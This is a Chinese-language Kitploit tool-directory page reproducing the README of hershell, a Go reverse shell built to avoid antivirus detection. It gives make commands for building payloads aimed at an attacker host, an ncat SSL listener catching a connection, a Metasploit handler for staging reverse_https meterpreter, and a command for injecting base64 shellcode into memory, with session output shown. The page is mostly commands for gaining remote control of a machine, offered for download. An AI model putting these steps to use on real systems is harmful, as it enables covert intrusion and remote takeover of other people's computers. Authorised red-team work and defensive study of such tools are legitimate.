Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
hershell — Hershell 是一个用 Go 编写的简单 TCP 反向 shell。 | Kitploit
工具/GitHubGitHub/sysdream/hershell
Payload生成漏洞利用Shellcode后渗透利用渗透测试命令与控制红队远程访问工具
GitHubsysdream/hershell

hershell

Hershell 是一个用 Go 编写的简单 TCP 反向 shell。

查看仓库
52986167年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Hershell

注意: 该项目已分支至此仓库,请在那里查看其他开发进展。

Hershell 是一个用 Go 编写的简单 TCP 反向 Shell。

它使用 TLS 来保护通信,并提供证书公钥指纹固定功能,防止流量被拦截。

支持的操作系统:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD 及其衍生版本

为什么?

虽然 meterpreter 负载非常强大,但有时会被防病毒产品检测到。

此项目的目标是获得一个能够在多个系统上工作的简单反向 Shell。

如何实现?

由于它使用 Go 编写,因此可以针对目标架构交叉编译源代码。

快速入门与依赖

由于这是一个 Go 项目,您需要按照官方文档设置 Go 环境(包括 $GOPATH 环境变量)。

然后,运行 go get github.com/sysdream/hershell 来获取项目。

构建负载

为简化操作,您可以使用提供的 Makefile。 您可以设置以下环境变量:

  • GOOS : 目标操作系统
  • GOARCH : 目标架构
  • LHOST : 攻击者 IP 或域名
  • LPORT : 监听端口

关于 GOOS 和 GOARCH 变量的允许值,请参见此处。

不过,Makefile 中已经提供了一些辅助目标:

  • depends : 生成服务器证书(反向 Shell 必需)
  • windows32 : 构建 32 位 Windows 可执行文件(PE 32 位)
  • windows64 : 构建 64 位 Windows 可执行文件(PE 64 位)
  • linux32 : 构建 32 位 Linux 可执行文件(ELF 32 位)
  • linux64 : 构建 64 位 Linux 可执行文件(ELF 64 位)
  • macos32 : 构建 32 位 Mac OS 可执行文件(Mach-O)
  • macos64 : 构建 64 位 Mac OS 可执行文件(Mach-O)

对于这些目标,您只需设置 LHOST 和 LPORT 环境变量。

使用 Shell

一旦执行,您将获得一个远程 Shell。 这个自定义交互式 Shell 允许您在 Windows 上通过 cmd.exe 或在 UNIX 机器上通过 /bin/sh 执行系统命令。

支持以下特殊命令:

  • run_shell : 打开一个系统 Shell(例如,允许您更改目录)
  • inject <base64 shellcode> : 将 shellcode(base64 编码)注入到同一进程内存中并执行(目前仅限 Windows)
  • meterpreter [tcp|http|https] IP:PORT : 连接到 multi/handler 以从 Metasploit 获取 stage2 反向 TCP、HTTP 或 HTTPS meterpreter,并在内存中执行(目前仅限 Windows)
  • exit : 优雅退出

使用方法

首先,您需要生成一个有效的证书:

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

对于 Windows:

root@kitploit:~
# 预定义的 32 位目标
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# 预定义的 64 位目标
$ make windows64 LHOST=192.168.0.12 LPORT=1234

对于 Linux:

root@kitploit:~
# 预定义的 32 位目标
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# 预定义的 64 位目标
$ make linux64 LHOST=192.168.0.12 LPORT=1234

对于 Mac OS X

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

示例

基本用法

可以使用各种工具来处理传入连接,例如:

  • socat
  • ncat
  • openssl 服务器模块
  • metasploit multi handler(使用 python/shell_reverse_tcp_ssl 负载)

以下是使用 ncat 的示例:

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Meterpreter 分段加载

警告: 目前仅适用于 Windows 平台。

Meterpreter 分段加载目前支持以下负载:

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

要使用正确的负载,只需指定要使用的传输方式(tcp、http、https)

要使用 meterpreter 分段加载功能,首先启动您的 handler:

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

然后,在 hershell 中使用 meterpreter 命令:

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

一个新的 meterpreter 会话应该会在 msfconsole 中弹出:

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

致谢

Ronan Kervella <r.kervella -at- sysdream -dot- com>

下载工具